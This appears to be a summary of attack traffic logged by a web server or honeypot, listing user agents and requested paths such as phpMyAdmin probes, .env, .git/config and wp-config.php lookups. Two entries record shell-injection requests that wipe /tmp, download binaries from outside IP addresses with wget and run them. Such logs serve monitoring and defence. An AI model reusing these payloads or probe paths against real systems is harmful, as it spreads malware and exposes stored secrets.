2	`Mozilla/5.0`
3	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
4	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_13.67.44.234_80`
3		`\x03`
24		`\x16\x03\x01`
2		`\x17\x03\x01\x01\x04e`
1		`\xbf\xbf\xaf\xaf~`
2	CONNECT	`84[.]152[.]87[.]218:4444`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
31	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/3000D00E0000FFFF3F0031313744373731343634304537353046007A7A7A7A7A7A7A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000008047A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000`	HTTP/1.1
1	GET	`/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/__phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
2	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/bundle.js`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.yaml`	HTTP/1.1
2	GET	`/database/index.php?lang=en`	HTTP/1.1
2	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbadmin/index.php?lang=en`	HTTP/1.1
4	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
2	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/init.php`	HTTP/1.1
2	GET	`/mysql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/nacos/`	HTTP/1.1
1	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-4.9.10-all-languages/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.2.0-all-languages/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-5.2.0/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.3.0-all-languages/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.3.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-latest-all-languages/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
2	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2022/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
2	GET	`/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 192.210.162.147/arm;chmod+777+/tmp/arm;sh+/tmp/arm4`
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/supp/msroot/api.php?action=info&ajax=true`	HTTP/1.1
1	GET	`/supp/notifications.php`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
2	GET	`/wp-config.php`	HTTP/1.1
1	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0